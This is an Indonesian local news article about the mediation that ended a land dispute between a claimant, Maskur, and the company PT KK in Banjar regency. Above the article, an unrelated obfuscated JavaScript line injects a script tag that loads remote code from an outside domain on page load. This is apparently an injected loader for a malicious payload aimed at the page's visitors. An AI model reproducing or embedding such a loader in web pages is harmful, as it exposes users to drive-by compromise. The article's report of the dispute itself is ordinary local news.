(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sengketa lahan antara Maskur dengan PT KK di Guntung Ujung, Kecamatan Gambut, Kabupaten Banjar, berakhir mediasi.
Penyegelan pintu masuk gerbang ke gudang PT KK akhirnya dibuka oleh Maskur, pengklaim pemilik lahan yang mengaku diserobot, Sabtu (27/11/2021) pagi.
Karyawan perusahaan tidak bisa melakukan aktivitas di dalam gudang selama hampir 2,5 jam dikarenakan pintu gerbang masuk ke perusahaan diportal oleh Maskur dengan kayu galam, karyawan tertahan di depan pintu masuk saat hendak masuk kerja.
Baca juga: Diduga Masih Sengketa Tumpang Tindih Tanah, Maskur Tutup Pintu Masuk Gudang Perusahaan
Keadaan berubah setelah adanya proses mediasi difasilitasi oleh anggota kepolisian dan Babinsa di lokasi gudang.
Portal palang-palang kayu dari galam yang menutupi gerbang masuk perusahaan PT KK dibuka sekitar pukul 10.40 Wita, pihak perusahaan dan karyawan gudang akhirnya bisa masuk beraktifitas.
Proses mediasi berlangsung secara tertutup kurang lebih satu jam di ruang kantor PT KK. Dalam proses mediasi tersebut pihak aparat dari TNI dan kepolisian ikut mengawal di ruangan.
Setelah proses mediasi selesai pada pukul 10.40 Wita, kedua belah pihak langsung keluar ruangan. Bahkan Maskur ikut membantu menyingkirkan palang palang kayu dari galam yang dipasang di depan pintu gerbang masuk gudang.
Baca juga: Syamsudin Terpaksa Pakai Air Hujan, Pipa PDAM Bandarmasih Jebol di A Yani Km 1 Masih Dikerjakan
Untuk hasil yang dicapai pasca mediasi, dari belah pihak baik Maskur maupun pihak perusahaan masih belum bersedia memberikan pernytaan kepada Kanalkalimantan.com.
Sebelumnya, dari pengakuan pemilik tanah Maskur, gudang yang dibangun di lahan itu merupakan miliknya diserobot oleh pihak perusahaan. Dari keterangan Maskur gudang yang dibangun ini merupakan lahan yang sengketa masih tumpang tindih kepemilikan. Maskur menyebut ada oknum yang tidak bertanggung jawab diduga memalsukan nama kepemilikan sertipikat tanah.
“Lahan di tanah ini merupakan milik saya, saya juga punya bukti berupa sertipikat asli beserta surat-surat pendukung yang lain, dan saya juga membawa saksi-saksi,” aku Maskur kepada Kanalkalimantan.com, Sabtu (26/11/2021) pagi.
Maskur mengklaim tanah seluas 9 hektare diserobot oleh pihak perusahaan, sebenarnya Maskur sudah mengajak pihak perusahaan proses mediasi, namun karena tidak ada itikad baik maka Sabtu (27/11/2021) pagi, akses pintu masuk ke gudang milik perusahaan ditutup Maskur dengan palang kayu galam di depan pintu gerbangnya.
Baca juga: Sepeda Santai HUT ke-50 Korpri di Lapangan Murdjani
Dari pantauan Kanalkalimantan.com sekitar pukul 08.00 Wita di lokasi akses pintu masuk gudang telah dipasang palang kayu oleh Maskur, yang mengaku pemilik lahan sah. Sontak saja penyegelan pintu gerbang masuk ke gudang membuat para karyawan terkejut dan tidak bisa masuk kerja untuk beraktifitas.
Dari pengakuan salah satu karyawan Rizky, sopir di perusahaan mengatakan, palang segel kayu sudan terpasang sejak pagi pukul 06.00 Wita. (kanalkalimantan.com/seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.